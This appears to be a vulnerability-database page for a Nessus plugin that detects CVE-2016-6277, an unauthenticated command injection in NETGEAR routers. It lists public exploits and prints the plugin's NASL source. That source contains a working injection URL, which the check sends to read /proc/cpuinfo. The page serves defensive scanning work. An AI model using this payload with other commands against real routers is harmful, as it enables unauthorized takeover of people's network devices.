NETGEAR Multiple Model cgi-bin RCE - Nessus

High Plugin ID: 95823

This page contains detailed information about the NETGEAR Multiple Model cgi-bin RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 95823
Name: NETGEAR Multiple Model cgi-bin RCE
Filename: netgear_cmd_exec.nasl
Vulnerability Published: 2016-12-08
This Plugin Published: 2016-12-14
Last Modification Time: 2022-03-08
Plugin Version: 1.10
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: netgear_www_detect.nbin
Required KB Items [?]: installed_sw/Netgear WWW

Vulnerability Information

Severity: High
Vulnerability Published: 2016-12-08
Patch Published: 2017-02-08
CVE [?]: CVE-2016-6277
CPE [?]: cpe:/o:netgear:d6220_firmware, cpe:/o:netgear:d6400_firmware, cpe:/o:netgear:r6250_firmware, cpe:/o:netgear:r6400_firmware, cpe:/o:netgear:r6700_firmware, cpe:/o:netgear:r6900_firmware, cpe:/o:netgear:r7000_firmware, cpe:/o:netgear:r7100lg_firmware, cpe:/o:netgear:r7300dst_firmware, cpe:/o:netgear:r7900_firmware, cpe:/o:netgear:r8000_firmware

Synopsis

The remote router is affected by a remote command execution vulnerability.

Description

The remote NETGEAR router is affected by a remote command execution vulnerability due to improper sanitization of user-supplied input passed via /cgi-bin/. An unauthenticated, remote attacker can exploit this, via a specially crafted URL, to execute arbitrary commands on the device.

Note that Nessus has detected this vulnerability by reading the contents of file /proc/cpuinfo.

Solution

Apply the latest available firmware update according to the vendor advisory.

Public Exploits

Target Network Port(s): 80, 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the NETGEAR Multiple Model cgi-bin RCE vulnerability:

Metasploit: exploit/linux/http/netgear_r7000_cgibin_exec
[Netgear R7000 and R6400 cgi-bin Command Injection]
Exploit-DB: exploits/cgi/remote/41598.rb
[EDB-41598: Netgear R7000 / R6400 - 'cgi-bin' Command Injection (Metasploit)]
Exploit-DB: exploits/cgi/webapps/40889.txt
[EDB-40889: Netgear R7000 - Command Injection]
Exploit-DB: exploits/hardware/webapps/47782.py
[EDB-47782: Netgear R6400 - Remote Code Execution]
GitHub: https://github.com/ker2x/DearDiary
[CVE-2016-6277]
GitHub: https://github.com/nixawk/labs
[CVE-2016-6277]
GitHub: https://github.com/nixawk/labs/tree/master/CVE-2016-6277
[CVE-2016-6277]
GitHub: https://github.com/oneplus-x/MS17-010
[CVE-2016-6277]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2016-6277
CVSS V2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:H/RL:U/RC:ND

CVSS Base Score:	9.3 (High)
Impact Subscore:	10.0
Exploitability Subscore:	8.6
CVSS Temporal Score:	9.3 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	9.3 (High)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:H/RL:U/RC:X

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.8 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.8 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(95823);
  script_version("1.10");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/03/08");

  script_cve_id("CVE-2016-6277");
  script_xref(name:"CERT", value:"582384");
  script_xref(name:"EDB-ID", value:"40889");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/09/07");

  script_name(english:"NETGEAR Multiple Model cgi-bin RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote router is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote NETGEAR router is affected by a remote command execution
vulnerability due to improper sanitization of user-supplied input
passed via /cgi-bin/. An unauthenticated, remote attacker can exploit
this, via a specially crafted URL, to execute arbitrary commands on
the device.

Note that Nessus has detected this vulnerability by reading the
contents of file /proc/cpuinfo.");
  script_set_attribute(attribute:"see_also", value:"https://kb.netgear.com/000036386/CVE-2016-582384");
  script_set_attribute(attribute:"solution", value:
"Apply the latest available firmware update according to the vendor
advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:U/RC:X");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-6277");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Netgear R7000 and R6400 cgi-bin Command Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/12/08");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/02/08");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/12/14");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:d6220_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:d6400_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:r6250_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:r6400_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:r6700_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:r6900_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:r7000_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:r7100lg_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:r7300dst_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:r7900_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:r8000_firmware");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2016-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("netgear_www_detect.nbin");
  script_require_keys("installed_sw/Netgear WWW");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("install_func.inc");
include("misc_func.inc");
include("http.inc");

get_install_count(app_name:"Netgear WWW", exit_if_zero:TRUE);
port = get_http_port(default:80, embedded:TRUE);
install = get_single_install(app_name:"Netgear WWW", port:port);

exploit = "/cgi-bin/;cd$IFS'proc';cat$IFS'cpuinfo'";
res = http_send_recv3(
  method       : "GET",
  item         : exploit,
  port         : port,
  exit_on_fail : TRUE
);

res[2] = tolower(res[2]);

if (
  "bogomips" >< res[2] &&
  "processor" >< res[2]
)
{
  output = chomp(res[2]);

  # just in case, res[2] should have command output only
  if("</html>" >< output)
    output = chomp(substr(output, stridx(output,"</html>")+strlen("</html>")));

  output = ereg_replace(string: output, pattern: "^[ \t\r\n]*", replace: "");

  if (empty_or_null(output)) output = res[2];

  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    generic     : TRUE,
    cmd         : "cd proc; cat cpuinfo",
    request     : make_list(build_url(qs:exploit, port:port)),
    output      : output
  );
  exit(0);
}
else audit(AUDIT_HOST_NOT, "an affected NETGEAR device");

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/netgear_cmd_exec.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\netgear_cmd_exec.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/netgear_cmd_exec.nasl

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How to Run

Here is how to run the NETGEAR Multiple Model cgi-bin RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select NETGEAR Multiple Model cgi-bin RCE plugin ID 95823.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl netgear_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a netgear_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - netgear_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state netgear_cmd_exec.nasl -t <IP/HOST>

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References

CERT | Computer Emergency Response Team:

582384

See also:

Similar and related Nessus plugins:

100321 - NETGEAR Multiple Model PHP Remote Command Injection
70585 - NETGEAR ReadyNAS Remote Unauthenticated Command Execution
72830 - NETGEAR DGN2200 Multiple Vulnerabilities
72831 - NETGEAR Hard-coded Telnet Unlock Credentials
44937 - Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05)
66526 - Adobe ColdFusion Multiple Vulnerabilities (APSB13-03) (credentialed check)
126620 - Atlassian JIRA Server & JIRA Data Center Template Injection Vulnerability
128762 - Atlassian JIRA Server Template Injection Vulnerability (CVE-2019-11581)
139225 - Pulse Connect Secure < 9.1R8 (SA44516)
139226 - Pulse Policy Secure < 9.1R8 (SA44516)

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file netgear_cmd_exec.nasl version 1.10. For more plugins, visit the Nessus Plugin Library.

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NETGEAR Multiple Model cgi-bin RCE - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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